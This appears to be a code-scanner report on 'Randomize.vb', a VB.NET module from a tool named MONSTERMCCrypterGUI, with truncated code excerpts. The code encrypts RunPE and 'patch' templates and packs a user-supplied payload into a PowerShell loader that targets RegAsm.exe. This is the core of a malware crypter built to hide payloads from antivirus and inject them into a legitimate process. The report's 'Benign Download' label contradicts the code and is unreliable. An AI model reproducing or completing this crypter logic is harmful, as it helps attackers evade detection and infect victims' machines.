Benign Download

Randomize.vb

.NET FromBase64String method referenceExactly one line exceeds 1000 chars

SHA-256a067245b6a5a8ffa435a0eefa461a6938d50bdf31341633233a44abf35edce2c

Evidence

.NET FromBase64String method reference lines 5–17

42… ms.mdiProperties
6
7Namespace MONSTERMCCrypterGUI.Randomize
  Friend Class Randomize
      Public Shared Function RandomIvKey(ByVal sizeinb As Integer) As Byte()
          Dim random As Random = New Random()
          Dim b = New Byte(sizeinb - 1) {}
          random.NextBytes(b)
          Return b
      End Function
15
      Public Shared Function SourceEncrypt() As Tuple(Of String, String, String, String, Byte(), String, String)
          Return Tuple.Create(Convert.ToBase64String(Encrypt.Encrypt.Encryptor(Encoding.UTF8.GetBytes(Files.RunPe), Convert.FromBase64String(File.ReadAllText("Key.txt")), Convert.FromBase64String(File.ReadAllText("Iv.txt")))), Convert.ToBase64String(Encrypt.Encrypt.Encryptor(Encoding.UTF8.GetBytes(Files.Patch), Convert.FromBase64String(File.ReadAllText("Key.txt")), Convert.FromBase64String(File.ReadAllText("Iv.txt")))), Convert.ToBase64String(Powershell.Encryption.EncryptStringToBytes(Files.PowershellPatch, Convert.FromBase64String(File.ReadAllText("PowershellKey.txt")), Convert.FromBase64String(Fil …

Path to a .NET Framework runtime exe line 17

17:700… tringToBytes(Files.PowershellRunPe.Replace("%PATH%", "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe").Replace("%PAYLOADHERE%", Convert.ToBase64String(Encrypt.Encrypt.Encryptor(File.ReadAllBytes(Forms.SubForms.Path.FilePath), Co …

VBScript Dim variable declaration lines 17–23

1515… "))
      End Function
19
      Public Shared Function RunPe() As String
          Dim sb As StringBuilder = New StringBuilder()
          sb.Append(Files.PowershellRunPe)
          …

VBScript Function declaration lines 24–28

85… ))
          Return sb.ToString()
      End Function
  End Class
28End Namespace